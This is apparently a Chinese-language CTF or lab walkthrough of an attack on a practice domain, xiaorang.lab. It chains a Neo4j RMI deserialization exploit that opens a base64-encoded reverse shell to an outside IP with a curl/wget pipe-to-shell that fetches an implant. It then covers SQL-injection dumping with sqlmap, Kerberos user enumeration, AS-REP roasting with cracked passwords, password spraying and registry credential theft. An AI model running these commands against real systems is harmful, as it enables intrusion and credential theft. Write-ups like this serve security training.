信息收集

39.98.115.43

fscan信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
D:\red\内网\免杀工具包\免杀工具包\fscan火绒6.0免杀版\未免杀5号黯区红队开发的fscan图形化和plus>fscan.exe -h 39.98.115.43

______ _____ _
| ____| | __ \| |
| |__ ___ ___ __ _ _ __ | |__) | |_ _ ___
| __/ __|/ __/ _ | _ \| ___/| | | | / __|
| | \__ \ (_| (_| | | | | | | | |_| \__ \
|_| |___/\___\__,_|_| |_|_| |_|\__,_|___/
fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
39.98.115.43:22 open
39.98.115.43:7687 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle https://39.98.115.43:7687 code:400 len:50 title:None
已完成 1/2 [-] ssh 39.98.115.43:22 admin Aa123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain
已完成 2/2
[*] 扫描结束,耗时: 1m9.6410405s

扫出来个7687端口,有点陌生,查一下

外围打点

flag01-CVE-2021-34371

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口即1337,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中 setSessionVariable 方法存在反序列化漏洞。
因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。

需要开放1337端口,上面这里写错了

探测一下

ok,服务器上监听,直接通过反序列化使靶机反弹shell

1
nc -lvvp 1124

通过neo4j利用工具打,可以在本地运行(不用服务器也行)

1
java -jar rhino_gadget.jar rmi://39.98.115.43:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvNDcuMTEzLjIyOS4xMzYvMTEyNCAwPiYx}|{base64,-d}|{bash,-i}"

反弹shell成功,这里我们直接上线vshell

1
(curl -fsSL -m180 http://47.113.229.136:8888/slt||wget -T180 -q http://47.113.229.136:8888/slt)|sh

读取flag

内网渗透

flag02-后渗透web服务(SQL注入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
neo4j@ubuntu:/tmp$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.6.36 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe0d:b416 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:0d:b4:16 txqueuelen 1000 (Ethernet)
RX packets 94715 bytes 127572526 (127.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22610 bytes 3066177 (3.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 706 bytes 60839 (60.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 706 bytes 60839 (60.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

可以看到172.22.6.36/24 这一网段

上传fscan进行内网信息收集,同时搭建隧道代理

1
2
3
chmod +x fscan
./fscan -h 172.22.6.36/24 -np #太慢了
./fscan -h 172.22.6.36/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$ ./fscan -h 172.22.6.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-05-30 22:23:52] [INFO] 暴力破解线程数: 1
[2025-05-30 22:23:52] [INFO] 开始信息扫描
[2025-05-30 22:23:52] [INFO] CIDR范围: 172.22.6.0-172.22.6.255
[2025-05-30 22:23:52] [INFO] 生成IP范围: 172.22.6.0.%!d(string=172.22.6.255) - %!s(MISSING).%!d(MISSING)
[2025-05-30 22:23:52] [INFO] 解析CIDR 172.22.6.0/24 -> IP范围 172.22.6.0-172.22.6.255
[2025-05-30 22:23:52] [INFO] 最终有效主机数量: 256
[2025-05-30 22:23:52] [INFO] 开始主机扫描
[2025-05-30 22:23:52] [INFO] 正在尝试无监听ICMP探测...
[2025-05-30 22:23:52] [INFO] 当前用户权限不足,无法发送ICMP包
[2025-05-30 22:23:52] [INFO] 切换为PING方式探测...
[2025-05-30 22:23:52] [SUCCESS] 目标 172.22.6.12 存活 (ICMP)
[2025-05-30 22:23:53] [SUCCESS] 目标 172.22.6.25 存活 (ICMP)
[2025-05-30 22:23:53] [SUCCESS] 目标 172.22.6.36 存活 (ICMP)
[2025-05-30 22:23:53] [SUCCESS] 目标 172.22.6.38 存活 (ICMP)
[2025-05-30 22:23:58] [INFO] 存活主机数量: 4
[2025-05-30 22:23:58] [INFO] 有效端口数量: 233
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.38:22
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.36:22
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.12:88
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.38:80
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.25:445
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.12:445
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.12:389
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.25:139
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.12:139
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.25:135
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.12:135
[2025-05-30 22:23:59] [SUCCESS] 端口开放 172.22.6.36:7687
[2025-05-30 22:23:59] [SUCCESS] 服务识别 172.22.6.38:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-05-30 22:23:59] [SUCCESS] 服务识别 172.22.6.36:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.12:88 =>
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.25:445 =>
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.12:445 =>
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.38:80 => [http]
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.12:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.25:139 => Banner:[.]
[2025-05-30 22:24:04] [SUCCESS] 服务识别 172.22.6.12:139 => Banner:[.]
[2025-05-30 22:24:09] [SUCCESS] 服务识别 172.22.6.36:7687 =>
[2025-05-30 22:25:04] [SUCCESS] 服务识别 172.22.6.25:135 =>
[2025-05-30 22:25:04] [SUCCESS] 服务识别 172.22.6.12:135 =>
[2025-05-30 22:25:04] [INFO] 存活端口数量: 12
[2025-05-30 22:25:04] [INFO] 开始漏洞扫描
[2025-05-30 22:25:04] [INFO] 加载的插件: findnet, ldap, ms17010, neo4j, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-05-30 22:25:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.6.25
主机名: WIN2019
发现的网络接口:
IPv4地址:
└─ 172.22.6.25
[2025-05-30 22:25:04] [SUCCESS] NetBios 172.22.6.25 XIAORANG\WIN2019
[2025-05-30 22:25:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.6.12
主机名: DC-PROGAME
发现的网络接口:
IPv4地址:
└─ 172.22.6.12
[2025-05-30 22:25:04] [SUCCESS] 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录
[2025-05-30 22:25:04] [SUCCESS] NetBios 172.22.6.12 DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[2025-05-30 22:25:04] [INFO] 系统信息 172.22.6.12 [Windows Server 2016 Datacenter 14393]
[2025-05-30 22:25:04] [SUCCESS] 网站标题 https://172.22.6.36:7687 状态码:400 长度:50 标题:无标题
[2025-05-30 22:25:27] [SUCCESS] 扫描已完成: 22/22

整理一下

1
2
3
4
5

172.22.6.12 DC:DC-PROGAME.xiaorang.lab
172.22.6.25 WIN2019.xiaorang.lab
39.98.115.43 172.22.6.36 已拿下 neo4j 未授权rce
172.22.6.38 web 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录

那么接下来

有web肯定是先看web

有框,先试试sql注入

保存直接sqlmap跑

1
python sqlmap.py -r 2.txt

1
2
3
4
5

172.22.6.12 DC:DC-PROGAME.xiaorang.lab
172.22.6.25 WIN2019.xiaorang.lab
39.98.115.43 172.22.6.36 已拿下 neo4j 未授权rce
172.22.6.38 已利用 web 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Database: oa_db
+------------+
| oa_admin |
| oa_f1Agggg |
| oa_users |
+------------+


+----+------------------+---------------+
| id | password | username |
+----+------------------+---------------+
| 1 | bo2y8kAL3HnXUiQo | administrator |
+----+------------------+---------------+

将有用的数据都dump下来,以便后续利用

1
2
3
4
5
6
7
8
9
10
python sqlmap.py -r 2.txt -current-db

python sqlmap.py -r 2.txt -D oa_db -tables

python sqlmap.py -r 2.txt -D oa_db -T oa_f1Agggg -dump

python sqlmap.py -r 2.txt -D oa_db -T oa_users -dump

python sqlmap.py -r 2.txt -D oa_db -T oa_admin -dump

横向移动

https://www.c1trus.top/24-%E6%B8%97%E9%80%8F%E5%A7%BF%E5%8A%BF%E5%BA%93/4-%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/4-kerberos%E5%8D%8F%E8%AE%AE/kerbeos%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3.html#_0

flag03

kerbeos暴力破解

  • 原理:用户发起登录请求时,客户端会向认证服务器(AS)发送一个包含用户名和密码的认证,请求认证服务器的任务是验证用户名和密码,若验证通过,则返回一个 TGT(票据授予票据),即使密码错误也会提示用户名是否正确(可以帮助我们爆破出域内的用户)
  • 作用:获取到域内用户的账号,以便后续喷洒
  • 在 Kerberos 暴力破解中,还可以在不需要预身份验证的情况下发现用户帐户,这对于执行 7.AS-REP-Roasting攻击非常有用。

发现这些用户都是域名结尾。其中很可能就有有效的域用户
使用 Kerbrute 进行枚举出有效的域内用户

导出前面获取的用户名

这里因为本地无法与域控通信,将kerbrute工具传到跳板机上,用web入口机执行

探测用户

1
./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab 1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
$ ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab 1.txt

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 05/30/25 - Ronnie Flathers @ropnop

2025/05/30 22:46:53 > Using KDC(s):
2025/05/30 22:46:53 > 172.22.6.12:88

2025/05/30 22:46:53 > [+] VALID USERNAME: weixian@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: shuzhen@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: gaiyong@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wengbang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: xiqidi@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: xuanjiang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lvhui@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yuanchang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wenbo@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: zhenjun@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yangju@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: jinqing@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: weicheng@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: weixian@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: haobei@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: jizhen@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: tangshun@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: jingze@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: zhaoxiu@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: liangliang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: rubao@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: qiyue@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: xiyi@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: chouqian@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: jicheng@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: beijin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: chenghui@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: jihuan@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: pengyuan@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: hongzhi@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: duanmuxiao@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: gaijin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: chebin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: fusong@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yifu@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yanglang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: dongcheng@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: luwan@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: zhufeng@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: tangrong@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: huabi@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lili@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lianhuangchen@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: rangsibo@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wohua@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: haoguang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: langying@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: diaocai@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lianggui@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: manxue@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: baqin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wenshao@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: louyou@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: chengqiu@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: maqun@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wenbiao@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: weishengshan@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: chuyuan@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: wenliang@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yulvxue@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: luyue@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lezhong@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: guohong@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: pangzhen@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: ganjian@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: zhangxin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: dujian@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: sheweiyue@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: lidongjin@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: yexing@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: hongqun@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: maoda@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: qiaomei@xiaorang.lab
2025/05/30 22:46:53 > [+] VALID USERNAME: ganjian@xiaorang.lab
2025/05/30 22:46:58 > Done! Tested 501 usernames (74 valid) in 5.025 seconds

筛选出有效的域用户(74个)

这里Alt+鼠标选择就可以直接筛选出这些用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
weixian@xiaorang.lab
shuzhen@xiaorang.lab
gaiyong@xiaorang.lab
wengbang@xiaorang.lab
xiqidi@xiaorang.lab
xuanjiang@xiaorang.lab
lvhui@xiaorang.lab
yuanchang@xiaorang.lab
wenbo@xiaorang.lab
zhenjun@xiaorang.lab
yangju@xiaorang.lab
jinqing@xiaorang.lab
weicheng@xiaorang.lab
weixian@xiaorang.lab
haobei@xiaorang.lab
jizhen@xiaorang.lab
tangshun@xiaorang.lab
jingze@xiaorang.lab
zhaoxiu@xiaorang.lab
liangliang@xiaorang.lab
rubao@xiaorang.lab
qiyue@xiaorang.lab
xiyi@xiaorang.lab
chouqian@xiaorang.lab
jicheng@xiaorang.lab
beijin@xiaorang.lab
chenghui@xiaorang.lab
jihuan@xiaorang.lab
pengyuan@xiaorang.lab
hongzhi@xiaorang.lab
duanmuxiao@xiaorang.lab
gaijin@xiaorang.lab
chebin@xiaorang.lab
fusong@xiaorang.lab
yifu@xiaorang.lab
yanglang@xiaorang.lab
dongcheng@xiaorang.lab
luwan@xiaorang.lab
zhufeng@xiaorang.lab
tangrong@xiaorang.lab
huabi@xiaorang.lab
lili@xiaorang.lab
lianhuangchen@xiaorang.lab
rangsibo@xiaorang.lab
wohua@xiaorang.lab
haoguang@xiaorang.lab
langying@xiaorang.lab
diaocai@xiaorang.lab
lianggui@xiaorang.lab
manxue@xiaorang.lab
baqin@xiaorang.lab
wenshao@xiaorang.lab
louyou@xiaorang.lab
chengqiu@xiaorang.lab
maqun@xiaorang.lab
wenbiao@xiaorang.lab
weishengshan@xiaorang.lab
chuyuan@xiaorang.lab
wenliang@xiaorang.lab
yulvxue@xiaorang.lab
luyue@xiaorang.lab
lezhong@xiaorang.lab
guohong@xiaorang.lab
pangzhen@xiaorang.lab
ganjian@xiaorang.lab
zhangxin@xiaorang.lab
dujian@xiaorang.lab
sheweiyue@xiaorang.lab
lidongjin@xiaorang.lab
yexing@xiaorang.lab
hongqun@xiaorang.lab
maoda@xiaorang.lab
qiaomei@xiaorang.lab
ganjian@xiaorang.lab

AS-REP-Roasting

接下来进行ASREPRoasting攻击

用户帐户枚举完成后,我们可以尝试使用一种称为ASREPRoasting的攻击方法来滥用 Kerberos 中的功能 。当用户帐户设置了“不需要预身份验证”权限时,就可能发生ASREPRoasting攻击。这意味着该帐户在请求指定用户帐户的Kerberos票据之前不需要提供有效的身份证明。

原理:AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。

当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

前提条件:

  1. 域用户设置了 “ Do not require Kerberos preauthentication(不需要kerberos预身份验证) ”
  2. 需要一台可与KDC进行通信的主机/用户

使用impacket-GetNPUsers获取AS-REP

获取文件中的用户是否设置了“不需要Kerberos预身份验证”属性,并自动获取符合条件账户的Hash加密的Login Session Key

查找未设置预认证的域用户

1
python GetNPUsers.py -dc-ip 172.22.6.12 -usersfile valid_users.txt xiaorang.lab/

爆破出来两个用户

使用hashcat进行离线爆破

1
hashcat -m 18200 -a 0 --force 1.txt rockyou.txt
1
2
3
$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:24e00a36047878cd0f30969516dc0ec6$bf0b363a996d3053f7e02899a5c7f64901fff11e689fa8e913                                                                   31f0001e366bb44db6635be26606f5e0e256a5e23a67ff3be18b631a1efd68204b5166f982f5184b8117564798a2177dbad5cb42b2fcf391714cded678db2a70379b2                                                                   20d04684e781e49cab1f2507e62920dcc4cc06c93621220a1b65f93d4c5303658bd32b3e0f83c587e7b0ea217c41989da50397203629d2684476415a74a4f40d20a18                                                                   81dc0c5248c6e652d33d6f0693d96ec13aa84baea6335b1b76bd3a95ae140b803aeca5586fe910edbb6a0a3cfb4df2a4ba79fb4e6445471476f00f3db7bbc607ba20a                                                                   ab60d734ec9d36e0f0b176875a5:strawberry

$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:92b7ca3f79f7382b0c4b149ea346b6fd$8b2d6b4259aa9d41f29797d0f57c921e52f45367f6f593fcc2e eafb8b6b3f05f58a0892e356abf07bfcadcb47a067b0a84c52754ffadc97bcaa0066416522461fa10ac935c35e517b5a486685d08eeed13cca0f8ae0dc44f1ea2a532 2f9d54b991897cd5dee05ff8f8990600d489085ac6bb977ecc5a6c0c8be1ccb7bed713c135cc9cb9b9e1c15101469ba4b92f33b16534aafb2d6e5c95bd8854686a1e4 4071cd16b3332453f459859a3cbb245cd498c3906f97f4bafb10efaca557ac22f1daea408a0d7fc577b79420177ac74af7eab79854f374a805a48377ea77eda165d20 0cf340e639a5c760098755aad3:hellokitty

获取到两个账号和密码

1
2
3
zhangxin@xiaorang.lab   strawberry

wenshao@xiaorang.lab hellokitty

我们用这两个账号对172.22.6.0/24域用户进行密码喷洒

1
2
3
proxychains4 -q crackmapexec smb 172.22.6.0/24 -u zhangxin -p 'strawberry'

proxychains4 -q crackmapexec smb 172.22.6.0/24 -u wenshao -p 'hellokitty'

发现都可以

尝试登录DC,不成功

那还是登录172.22.6.25吧

成功

这里我们直接

上传SharpHound.exe进行信息收集

1
SharpHound.exe -c all

将生成的zip直接拖到bloodhound

1
2
3
#先开启docker服务,然后挂梯子(最好把校园网断了)执行以下命令

bloodhound-cli.exe install
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
D:\red\内网\免杀工具包\免杀工具包\bloodhound-cli-windows-amd64>bloodhound-cli.exe install
[+] Checking the status of Docker and the Compose plugin...
[+] Starting BloodHound environment installation
[*] A production YAML file already exists in the current directory. Do you want to overwrite it and continue with the install? [y/n]: y
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml...
[*] A development YAML file already exists in the current directory. Do you want to overwrite it and continue with the install? [y/n]: y
[+] Downloading the development YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.dev.yml...
app-db Pulling
graph-db Pulling
bloodhound Pulling
bloodhound Pulled
graph-db Pulled
app-db Pulled
Container bloodhound-cli-windows-amd64-app-db-1 Running
Container bloodhound-cli-windows-amd64-graph-db-1 Running
Container bloodhound-cli-windows-amd64-bloodhound-1 Running
Container bloodhound-cli-windows-amd64-graph-db-1 Waiting
Container bloodhound-cli-windows-amd64-app-db-1 Waiting
Container bloodhound-cli-windows-amd64-app-db-1 Healthy
Container bloodhound-cli-windows-amd64-graph-db-1 Healthy
[+] BloodHound is ready to go!
[+] You can log in as `admin` with this password: AQWdoaF2QZgTxjnkvOVibBitdNjabCvx
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/login

先上传zip

然后点击Shortest paths to Domain Admins

查看怎么快速到域控

或者用adinfo进行信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
neo4j@ubuntu:/tmp$ ./Adinfo_linux -d xiaorang.lab --dc 172.22.6.12 -u zhangxin -p strawberry

_____ _ __
/\ | __ \(_) / _|
/ \ | | | |_ _ __ | |_ ___
/ /\ \ | | | | | '_ \| _/ _ \ Tools that collect information from domain
/ ____ \| |__| | | | | | || (_) |
/_/ \_\_____/|_|_| |_|_| \___/ v1.5 by lzz

[i] Try to connect '172.22.6.12'
[c] Auth Domain: xiaorang.lab
[c] Auth user: zhangxin@xiaorang.lab
[c] Auth Pass: strawberry
[c] connected successfully,try to dump domain info
[i] DomainVersion found!
[+] Windows 2016 Server operating system
[i] Domain SID:
[+] S-1-5-21-3623938633-4064111800-2925858365
[i] Domain MAQ found
[+] 0
[i] Domain Account Policy found
[+] pwdHistory: 0
[+] minPwdLength: 0
[+] minPwdAge: 0(day)
[+] maxPwdAge: 10675199(day)
[+] lockoutThreshold: 0
[+] lockoutDuration: 30(min)
[i] Domain Controllers: 1 found
[+] DC-PROGAME$ ==>>> Windows Server 2016 Datacenter [10.0 (14393)] ==>>> 172.22.6.12
[i] ADCS has not found!
[i] Domain Exchange Server: 0 found
[i] Domain All DNS:
[+] Domain Dns 2 found,Saved in All_DNS.csv
[i] Domain Trusts: 0 found
[i] SPN: 31 found
[i] Domain GPOs: 2 found
[i] Domain Admins: 1 users found
[+]Administrator
[i] Enterprise Admins: 1 users found
[+]Administrator
[i] administrators: 1 users found
[+]Administrator
[i] Backup Operators: 0 users found
[i] Users: 77 found
[i] User with Mail: 0 found
[i] Only_name_and_Useful_Users: 74 found
[i] Only_admincount=1_andUseful_Users: 1 found
[i] Locked Users: 0 found
[i] Disabled Users: 3 found
[i] Users with passwords not set to expire: 5 found
[i] Domain Computers: 2 found
[i] Only_name_and_Useful_computers: 2 found
[i] Groups: 49 found
[i] Domain OUs: 1 found
[i] LAPS Not found
[i] LAPS passwords: 0 found
[i] SensitiveDelegate Users: 0 found
[i] AsReproast Users: 2 found
[+] wenshao
[+] zhangxin
[i] Kerberoast Users: 1 found
[+] CN=krbtgt,CN=Users,DC=xiaorang,DC=lab ==>>> kadmin/changepw
[i] SIDHistory Users: 1 found
[+] yuxuan ==>>> Administrator
[i] CreatorSID Users: 0 found
[i] RBCD Users: 0 found
[i] Unconstrained Deligation Users: 0 found
[i] Constrained Deligation Users: 0 found
[i] Krbtgt password last set time: 2022-06-29 09:03:34 +0800 CST
[i] CSVs written to 'csv' directory in /tmp
[i] Execution took 803.781234ms

HasSession

https://www.c1trus.top/24-%E6%B8%97%E9%80%8F%E5%A7%BF%E5%8A%BF%E5%BA%93/hassession.html#_0

https://bloodhound.specterops.io/resources/edges/has-session

当用户对计算机进行身份验证时,通常会留下暴露在系统中的凭据信息,这些凭据可通过以下方式获取:

  • LSASS进程注入
  • 令牌操作与窃取
  • 用户进程注入

任何具有系统管理员权限的用户,只要内存中仍存在相关凭据数据,就有能力提取这些凭据材料。

需要特别注意的是:会话存在仅意味着凭据可能存在于内存中,并不能保证凭据必然存在。

这里信息收集出来显示win2019的机子保存了yuxuan的凭据

那么我们有两种方法获取yuxuan的密码

  1. 使用msf模块从注册表中获取明文密码
    1. meterpreter > run post/windows/gather/credentials/windows_autologin
  2. 直接从注册表中获取
    1. reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
